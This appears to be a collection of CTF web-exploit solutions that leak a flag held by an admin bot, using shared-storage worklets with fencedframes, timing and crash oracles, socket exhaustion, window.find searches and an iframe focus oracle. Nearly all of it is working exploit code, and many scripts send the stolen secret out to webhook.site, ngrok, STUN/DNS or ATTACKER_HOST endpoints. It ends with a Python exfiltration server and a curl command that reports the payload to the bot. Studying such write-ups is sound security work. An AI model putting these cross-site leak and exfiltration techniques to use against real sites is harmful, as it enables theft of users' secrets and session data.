I don't have any sources, but from start I thought of using css injection to bypass dompurify, I just needed a way to have both injected content and the flag in the same window. if page is not in bfcache on back navigation it will evaluate js + place flag in <input>, getting to the content + flag condition, but css injection doesn't work on live value of <input> so by creating a fake <form><input name=note type=text /></form> it'll actually place the flag inside the fake input that we control, from there we can use input:valid and input:invalid selectors + pattern regex to leak the flag.

https://stackoverflow.com/a/29612733

the rest of the script was basically to evict page from bfcache but memory allocs were not necessary

<body>
    <script>
        const params = new URLSearchParams(window.location.search);
        const progress = parseInt(params.get('progress') || 0);
        fencedFrame = document.createElement('fencedframe');
        document.body.appendChild(fencedFrame);
        const urls = [];
        for (let i = 0; i < 8; i++) {
            urls.push({url: `https://server/?progress=${progress}&data=${i}`});
        };
        sharedStorage.worklet.addModule(`https://server/?progress=${progress}`).then(async () => {
            fencedFrame.config = await window.sharedStorage.selectURL('get-message', urls, {keepAlive: true, resolveToConfig: true});
            params.set('progress', progress + 1);
            setTimeout(() => {
                window.location.search = params.toString();
            }, 500)
        });
    </script>
</body>

export default {
    async fetch(request) {
        const url = new URL(request.url);
        const progress = url.searchParams.get("progress");
        return new Response(`
            class GetMessageOperation {
                async run(urls, data) {
                    const message = await sharedStorage.get("message");
                    console.log("Message:", message);
                    const messageInt = BigInt("0x" + message);
                    console.log("Message integer:", messageInt);
                    return Number((messageInt >> BigInt(${progress * 3})) & BigInt(7))
                }
            }
            register("get-message", GetMessageOperation);
        `,
        {
            headers: {
                "Access-Control-Allow-Origin": "*",
                "Content-Type": "application/javascript"
            }
        })
    }
}

<body>
<script>
function load(e) {
return new Promise((resolve, reject) => {
e.addEventListener("load", () => {
console.log("done");
resolve();
});
});
}
function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
(async function () {
const alphabet = "abcdef0123456789";
const baseUrl = "SERVER_URL";
const start_index = 0;
const workletUrl = `${baseUrl}worklet.js`;
await sharedStorage.worklet.addModule(workletUrl);

let params = new URLSearchParams(window.location.search);
let i = parseInt(params.get("i")) || start_index;
for (let c = 0; c < 4; c++) {
const frame = document.createElement("fencedframe");
document.body.append(frame);
let config = await sharedStorage.selectURL(
"get-flag",
[
{
url: `${baseUrl}wrong?i=${i}&c=${c}`,
},
{
url: `${baseUrl}correct?i=${i}&c=${c}`,
},
],
{
data: { i, c },
keepAlive: true,
resolveToConfig: true,
}
);
frame.config = config;
}
await sleep(2000);
console.log("done");
if (i < 32) {
params.set("i", i + 1);
window.location = "/xss?" + params.toString();
}
})();
</script>
</body>

class GetFlagOperation {
	async run(urls, data) {
		if (!("i" in data)) {
			return;
		}
		const alphabet = "abcdef0123456789";

		const flag = await globalThis.sharedStorage.get("message");
		if (alphabet.indexOf(flag[data.i]) & (1 << data.c)) {
			return 1;
		}
		return 0;
	}
}

register("get-flag", GetFlagOperation);

class LeakSecretOperation {
  async run() {
    var pos = await sharedStorage.get('charPosition');
    var bitPos = await sharedStorage.get('bitPosition');

    var secret = await sharedStorage.get('message');
    console.log(secret)

    var hexDigit = secret[pos];
    var digitValue = parseInt(hexDigit, 16);
    var bitValue = (digitValue >> (3 - bitPos)) & 1;

    console.log(`Leaking char at pos ${pos}, bit ${bitPos}: ${bitValue}`);
    return bitValue;
  }
}
register('leak-secret', LeakSecretOperation);

<fencedframe id="fframe"></fencedframe>

<script>

    const webhook = "https://xxxx.ngrok-free.app";
    const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));
    (async () => {
        try {
            let pos = new URLSearchParams(window.location.search).get('idx');
            console.log("idx: " + pos);
            //await sleep(1500 * pos); 

            await window.sharedStorage.worklet.addModule(`${webhook}/worklet.js`);

            // leak 4 bits (1 char) at a time to avoid selectURL limit
            for (let bit = 0; bit < 4; bit++) {
                await sharedStorage.set('charPosition', pos);
                await sharedStorage.set('bitPosition', bit);

                // max 1 bit information leak per run 
                const urls = [
                    { url: `${webhook}/leak?pos=${pos}&bit=${bit}&value=0` },
                    { url: `${webhook}/leak?pos=${pos}&bit=${bit}&value=1` }
                ];

                const fencedFrameConfig = await sharedStorage.selectURL('leak-secret', urls, { resolveToConfig: true, keepAlive: true });
                document.getElementById("fframe").config = fencedFrameConfig;
                await new Promise(resolve => setTimeout(resolve, 500));

            }
        } catch (err) {
            fetch(`${webhook}/error?msg=${encodeURIComponent(err.message)}`);
        }
    }
    )();
</script>

<script>
  const sleep = (ms) => new Promise(resolve => setTimeout(resolve, ms));

  async function orchestrator() {
    let payload = "..." // url encoded leak_char.html
    for (idx = 0; idx < 32; idx++) {
      window.open(`/xss?xss=${payload}&idx=${idx}`);
      await sleep(500*4 + 1000);
    }
  }
  orchestrator();
</script>

;(async () => {
    // await sharedStorage.set('message', 'd8226cf1bd74e9ff')

    const blob = new Blob(
        [
            `
class MessageReading {
  async run(data) {
    const message = await sharedStorage.get("message");
    if(data.regex.test(message)){
        for(let i=0;i<10;i++)crypto.subtle.generateKey({name:'RSA-PSS',modulusLength:2048,publicExponent:new Uint8Array([0x01, 0x00, 0x01]),hash:'SHA-256'},true,['sign'])
    }
    return message;
  }
}
register("read-message", MessageReading)
`
        ],
        { type: 'text/javascript' }
    )
    await window.sharedStorage.worklet.addModule(URL.createObjectURL(blob))

    async function measure(n, fn) {
        const ar = []
        for (let i = 0; i < n; i++) {
            const st = performance.now()
            await fn()
            ar.push(performance.now() - st)
        }
        const s = ar.reduce((a, b) => a + b, 0) / n
        return s
    }
    const fn = () =>
        crypto.subtle.generateKey(
            {
                name: 'RSA-PSS',
                modulusLength: 2048,
                publicExponent: new Uint8Array([0x01, 0x00, 0x01]),
                hash: 'SHA-256'
            },
            true,
            ['sign']
        )

    const report = arg => (new Image().src = 'https://MY_HOST/?' + new URLSearchParams({ arg }))

    const start = performance.now()
    const chars = [...'0123456789abcdef']
    let secret = 'f3b01574bc52f358'
    while (secret.length < 8 * 2) {
        const regexes = chars.map(c => new RegExp(`^${secret}${c}`))
        const times = []
        for (const rg of regexes) {
            await window.sharedStorage.run('read-message', { keepAlive: true, data: { regex: rg } })
            const time = await measure(10, fn)
            times.push(time)
            console.log(rg, time)
        }
        const mx = Math.max(...times)
        const index = times.indexOf(mx)
        secret += chars[index]
        console.log(secret)
        report(secret)
    }
    console.log('took', performance.now() - start)
})()

/*
report
http://localhost:3000/xss?xss=%3Cscript%20src=%22https://MY_HOST/exp.js%22%3E%3C/script%3E
*/

crypto key generation in worlet can block the key generation in main thread

for nobin I used basically this

https://github.com/WICG/shared-storage/issues/86

register one worklet per char, and supply one 1 url for select

If you make a call to selectURL and only pass in a single URL it will not decrease the privacy budget

if data doesnt match, sleep 1s, else return. then you can basically see which iframe got loaded first with onload

function sleep(milliseconds) {
    const date = Date.now();
    let currentDate = null;
    do {
        currentDate = Date.now();
    } while (currentDate - date < milliseconds);
}

class Pwner {
    async run(urls, data) {
        const flag = await sharedStorage.get('message');
        if (flag[data.index] !== String.fromCharCode($char)) {
            sleep(1000);
        }
        return 0;
    }
}
register('pwn', Pwner);

nobin solve

class LeakSecretOperation {
  async run() {
    let tobrute = "a";
    console.log("TOBRUTE", tobrute);
    const secret = await sharedStorage.get('message');

    if(secret.startsWith(tobrute)) {
        console.log("FOUND! crashing...");
        console.log(Object.keys(this));
    }
  }
}
register('leak-secret', LeakSecretOperation);

console.log(Object.keys(this)); will crash the entire tab so it's possible to use this to leak the flag

https://hackmd.io/@r2dev2/S1P0RYHYke#ChessbasedGigachessbased

<script>
    SOCKETLIMIT = 255;
    INSTANCE = 'localhost:3000'
    MYSERVER = `sleep.xxxxxxxxxxxxxxx.xyz`

    let res = null;

    const sleep = (ms) => {
        return new Promise(resolve => {
            setTimeout(resolve, ms);
        });
    }

    const fetch_sleep_long = (i) => {
        controller = new AbortController();
        const signal = controller.signal;

        fetch(`https://${i}.${MYSERVER}/230?q=${i}`, {
            mode: 'no-cors',
            signal: signal
        });

        return controller
    }

    const load_async_script = (i, url) => {
        return new Promise((resolve, reject) => {
            const start = performance.now();
            let s = document.createElement("script");
            s.src = `https://${i}.${MYSERVER}/0?q=${i}&data=${Math.random()}`;
            s.async = true;

            s.onload = (e) => {
                res = performance.now() - start;
                console.log("RES RES", url, res);
                document.body.removeChild(s);
                resolve(res);
            }

            document.body.append(s);
        });
    };

    const block_socket = async (i) => {
        fetch_sleep_long(i);
        await sleep(0);
    }

    const exhaust_sockets = async () => {
        let i = 0
        for (; i < SOCKETLIMIT; i++) {
            block_socket(i);
        }
        console.log(`Used ${i} connections`);
    }

    const timeit = async (url, popup) => {
        return new Promise(async (r) => {
            let a, b;
            try {
                let controller_blocker = await fetch_sleep_long(13373);
                a = load_async_script(1231);

                popup.location = url;

                await sleep(100);
                controller_blocker.abort();
                await sleep(5)
                controller_blocker1 = await fetch_sleep_long(133734);

                await sleep(1000);
                controller_blocker1.abort();
                await sleep(5)
                let cont2 = await fetch_sleep_long(13347);

                await sleep(500);
                cont2.abort();

            } catch (e) {
                console.log(e)
            }

            r([await a])
        });
    }
    
    async function main() {
        let w = window.open("about:blank", target = "_blank", "width=500,height=500");

        exhaust_sockets();

        await sleep(1000);

        w.location = "https://gigachessbased.chall.lac.tf/#/search";

        let charset = '**_abc{}defghijklmnopqrstuvwxyz0987654321!ABCDEFGHIJKLMNOPQRSTUVWXYZ'.split('') //#$%&+-?@
        //let charset = '**!1234567890ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfed}{cba_'.split('') //#$%&+-?@
        let flag = "STOCAZZO";

        await sleep(5000);

        while(1){
            let found = false;

            for (let c in charset) {
                let res = await timeit("https://gigachessbased.chall.lac.tf/#/search?q=" + charset[c] + flag, w);
                
                await fetch("https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?a=" + charset[c] + "&b=" + res, {
                    mode: 'no-cors',
                });

                if(res >= 2000 && charset[c] != "*"){
                    found = true;
                    flag = charset[c] + flag;
                    break;
                }

                await sleep(1000);
            }

            if(found){
                fetch("https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?FOUND=" + flag, {
                    mode: 'no-cors',
                });
            }else{
                fetch("https://webhook.site/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx?NOTFOUND=" + flag, {
                    mode: 'no-cors',
                });
            }

            await sleep(200);
        }

    }

    main();

</script>

<svg onload="
function check(search) {
    for (i=32;i<127;i++) {
        ch = String.fromCharCode(i);
        result = window.find(search+ch, true);
        if (result) { 
            console.log('Found: ' + search + ch);
            while(window.find(' ',false,true)!==false){}
            return ch;
        }
    }
}

search = 'TRX{';
while(true){
    nch = check(search);
    search += nch;
    if (nch == '}') {
        break;
    }
}

let meta = document.createElement('meta');
meta.httpEquiv = 'refresh';
meta.content = '0;url=https://basket/aldm9gc?f=' + search;
window.top.document.head.appendChild(meta);
">

dic = `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}!$_`.split(``)
flag = `TRX{`
while (true){
  for (let i = 0; i < dic.length; i++) {
    if (window.find(flag+dic[i])){
      flag += dic[i];
      break
    } while(window.find(' ',false,true)!==false){}
  };
  if (flag.substr(flag.length - 1) == `}`){
    break
  }
  
}
flag.match(/.{1,16}/g).forEach(e => {
  const pc = new RTCPeerConnection({ iceServers: [ { urls: [`stun:${Array.from(new TextEncoder().encode(e),b=>b.toString(16).padStart(2,'0')).join('') }.myhook.com`] } ] });
pc.createOffer({ offerToReceiveAudio: true }).then(offer => pc.setLocalDescription(offer))
});

// bot.js
await setup.goto(SITE, { waitUntil: 'networkidle0', timeout: TIMEOUT });
await setup.type('#note-input', FLAG);   // admin stores the flag in its own session
await setup.click('.btn-primary');
await setup.waitForNetworkIdle({ timeout: TIMEOUT });

// index.js
app.get('/api/notes', (req, res) => {
	const filteredNotes = req.query.search
		? req.session.notes.filter((note) => note.includes(req.query.search)).sort()
		: req.session.notes;
	res.send(filteredNotes.join('[SEP]'));
});

// templates/index.html
for (const [i, n] of (getQuery() ? new_notes_split.filter((n) => n.includes(getQuery())).sort() : new_notes_split).entries()) {
	const card = document.createElement('a');
	card.id = `note-${i}`;             // focusable element exists only on a hit
	card.href = `/?search=${n}`;       // anchors are focusable targets
	card.textContent = n;
	notes.appendChild(card);
}

if (!new_notes_split.length || new_notes.length == 0) {
	const empty = document.createElement('a');
	empty.id = 'note-none';            // there is no #note-0 target on a miss
	empty.textContent = 'no notes yet';
	notes.appendChild(empty);
}

<!doctype html>
<body>running
<script>
const base = 'https://average-contrived-notes-app.shrimple.de';
const charset = '_abcdefghijklmnopqrstuvwxyz0123456789}';

function oracle(prefix) {
  return new Promise((resolve) => {
    let done = false;
    const fr = document.createElement('iframe');
    fr.style.position = 'fixed';
    fr.style.left = '-9999px';

    const finish = (hit) => {
      if (done) return;
      done = true;
      window.removeEventListener('blur', onBlur);
      fr.remove();
      resolve(hit);
    };

    const onBlur = () => finish(true);

    window.addEventListener('blur', onBlur, { once: true });
    window.focus();
    fr.src = `${base}/?search=${encodeURIComponent(prefix)}#note-0`;
    document.body.appendChild(fr);

    setTimeout(() => finish(false), 1500);
  });
}

(async () => {
  let flag = 'RS{';
  while (!flag.endsWith('}')) {
    let advanced = false;
    for (const c of charset) {
      if (await oracle(flag + c)) {
        flag += c;
        navigator.sendBeacon('/log?flag=' + encodeURIComponent(flag));
        advanced = true;
        break;
      }
    }
    if (!advanced) throw new Error('oracle stalled at ' + flag);
  }
})();
</script>

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs, urlparse

HTML = r'''<!doctype html>
<meta charset="utf-8">
<title>avg-notes oracle</title>
<body>running
<script>
const base = 'https://average-contrived-notes-app.shrimple.de';
const charset = '_abcdefghijklmnopqrstuvwxyz0123456789}';

function log(msg) {
  navigator.sendBeacon('/log?m=' + encodeURIComponent(msg));
}

function oracle(prefix) {
  return new Promise((resolve) => {
    let done = false;
    const fr = document.createElement('iframe');
    fr.style.position = 'fixed';
    fr.style.left = '-9999px';

    const finish = (hit) => {
      if (done) return;
      done = true;
      window.removeEventListener('blur', onBlur);
      fr.remove();
      resolve(hit);
    };

    const onBlur = () => finish(true);

    window.addEventListener('blur', onBlur, { once: true });
    window.focus();
    fr.src = `${base}/?search=${encodeURIComponent(prefix)}#note-0`;
    document.body.appendChild(fr);
    setTimeout(() => finish(false), 1500);
  });
}

(async () => {
  let flag = 'RS{';
  log('START ' + flag);

  while (!flag.endsWith('}')) {
    let hit = false;
    for (const c of charset) {
      if (await oracle(flag + c)) {
        flag += c;
        hit = true;
        log('HIT ' + flag);
        break;
      }
    }
    if (!hit) {
      log('FAIL ' + flag);
      break;
    }
  }

  log('DONE ' + flag);
})();
</script>
'''

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        p = urlparse(self.path)
        if p.path == '/':
            self.send_response(200)
            self.send_header('Content-Type', 'text/html; charset=utf-8')
            self.end_headers()
            self.wfile.write(HTML.encode())
            return
        if p.path == '/log':
            print(parse_qs(p.query).get('m', [''])[0], flush=True)
            self.send_response(204)
            self.end_headers()
            return
        self.send_response(404)
        self.end_headers()

HTTPServer(('0.0.0.0', 8000), Handler).serve_forever()

Run it, expose port 8000 publicly, then report it:

curl -s https://average-contrived-notes-app.shrimple.de/api/bot \
  -H 'Content-Type: application/json' \
  --data '{"url":"https://ATTACKER_HOST/"}'